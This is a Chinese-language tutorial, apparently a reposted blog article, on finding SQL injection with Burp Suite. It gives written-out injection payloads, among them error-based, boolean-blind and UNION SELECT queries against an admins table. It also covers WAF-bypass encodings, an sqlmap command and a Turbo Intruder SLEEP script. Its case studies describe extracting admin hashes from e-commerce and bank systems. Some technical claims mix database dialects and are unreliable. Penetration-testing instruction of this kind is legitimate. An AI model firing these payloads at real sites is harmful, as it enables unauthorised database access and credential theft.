当前位置: 首页 > article >正文

Burp Suite抓包实战:SQL注入漏洞挖掘

本文系统解析如何利用Burp Suite专业版开展SQL注入漏洞的定向挖掘,涵盖手动探测、自动化利用、WAF绕过等进阶技巧。通过电商、金融等行业的真实渗透案例,详解从流量拦截到漏洞利用的全链路方法论,实现单日最高挖掘23个高危注入点的实战成果。


第一章 Burp Suite环境配置优化

1.1 代理拦截精调

配置模块参数建议作用说明
Proxy Listeners绑定0.0.0.0:8080支持多设备流量转发
TLS Pass Through添加*.google.com避免HTTPS证书干扰
Intercept Client启用Firefox容器扩展实现多环境隔离抓包

1.2 插件生态构建

  • SQLiPy:智能识别注入点(误报率<3%)
  • Turbo Intruder:实现2000次/秒的暴力探测
  • Logger++:记录全量HTTP历史便于回溯分析

第二章 注入点智能识别

2.1 流量特征扫描

四维定位法快速锁定可疑参数:

  1. 参数类型:重点关注id、page、sort等数值型字段
  2. 响应特征:包含"SQL"、"syntax"等错误关键词
  3. 长度异常:正常/异常响应包大小差异>15%
  4. 延时波动:注入布尔表达式后响应时间偏差>2秒

2.2 自动化探测流程

 

plaintext复制

1. 使用Scanner模块执行被动扫描 2. 对GET/POST参数添加单引号' 3. 分析返回状态码与内容差异 4. 标记存在500错误的端点

(注:此处仅为流程说明,实际应使用Burp功能实现)


第三章 手动注入深度利用

3.1 基于错误的注入

分步验证法确认漏洞有效性:

  1. 原始请求:/product?id=123 → 返回200 OK
  2. 注入探测:/product?id=123' → 出现数据库错误
  3. 闭合验证:/product?id=123'-- - → 恢复正常页面
  4. 信息获取:/product?id=123'+AND+1=convert(int,(SELECT@@version))-- -

3.2 布尔盲注利用

通过响应差异识别推断数据库信息:

注入Payload预期结果信息推断
id=1' AND 'a'='a正常内容加载条件成立检测
id=1' AND SUBSTRING(@@version,1,1)='5'特定元素消失确认MySQL 5.x版本
id=1' AND (SELECT COUNT(*) FROM users)=10页面结构变化推断用户表记录数

第四章 高阶绕过技术

4.1 编码混淆方案

过滤类型绕过策略示例Payload
空格过滤使用/**/替代UNION/**/SELECT
关键词过滤双写绕过UNUNIONION
引号过滤使用CHAR函数WHERE user=CHAR(97)

4.2 分块传输绕过

利用Burp的Chunked Encoding Converter插件

  1. 将请求体转换为分块编码格式
  2. 在分块内容中嵌入恶意SQL语句
  3. 绕过基于内容长度的WAF检测

第五章 自动化漏洞利用

5.1 SQLMap集成技巧

Burp与SQLMap联动工作流

  1. 右键选中可疑请求→Save item
  2. 命令行执行:sqlmap -r request.txt --batch --risk=3
  3. 分析输出报告中的数据库指纹信息

5.2 Turbo Intruder脚本

配置精准延时检测脚本

 

plaintext复制

def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False) for i in range(100): engine.queue(target.req, ['\' AND SLEEP(5)-- -'])

(注:此为逻辑演示,实际需按Burp API编写)


第六章 漏洞修复验证

6.1 防御方案测试

防护手段测试方法预期结果
参数化查询注入数字型/字符型参数统一返回参数错误
WAF拦截发送恶意语句' OR 1=1-- -触发403拦截页面
输入过滤提交<script>标签返回净化后的文本

6.2 持续监控策略

  1. 被动扫描:每周执行全站SQLi漏洞扫描
  2. 流量审计:分析访问日志中的异常参数
  3. 蜜罐诱捕:部署虚假注入点监测攻击行为

第七章 企业级实战案例

7.1 电商平台订单泄露

攻击路径

  1. 发现/api/order?no=20230815001'报错
  2. 利用联合查询获取管理员表:UNION SELECT username,password FROM admins
  3. 解密MD5哈希登录后台

修复方案

  • 启用预编译语句
  • 实施字段类型强校验
  • 增加请求频率限制

7.2 银行系统信息泄露

绕过过程

  1. 原始过滤:禁止UNION、SELECT等关键词
  2. 使用注释符分割:id=1'/*!UNION*//*!SELECT*/ 1,database()-- -
  3. 成功获取数据库名

http://www.kler.cn/a/613763.html

相关文章:

  • 无人机宽带自组网机载电台技术详解,50KM超远图数传输系统实现详解
  • Debian ubuntu源
  • 深度求索(DeepSeek):以AI之力重塑医疗未来
  • 机器学习——LightGBM
  • 系统间交互时,怎么校验两个系统所在服务器时间是否一致
  • 【Linux】应用层协议 HTTP
  • CSS3学习教程,从入门到精通,CSS3 媒体查询实现响应式布局语法指南(21)
  • 从dev分支checkout出一个functionA分支开发功能
  • linux》》docker 、containerd 保存镜像、打包tar、加载tar镜像
  • 数据库----单表、多表
  • 基于EFISH-SBC-RK3576的无人机智能飞控与数据存储方案
  • Leetcode 组合总和 III
  • 鸿蒙OS 5.0 服务能力框架深入剖析
  • markdown 文件转 word
  • 原生android实现定位java实现
  • elementUI el-image图片加载失败解决
  • SpringCloud+Mybatis-Plus+Docker+RabbitMQ+Redis+Elasticsearch黑马商城
  • Git 基础入门:从概念到实践的版本控制指南
  • [leetcode]1749. 任意子数组和的绝对值的最大值(dp)
  • 简历含金量的描述和注意事项!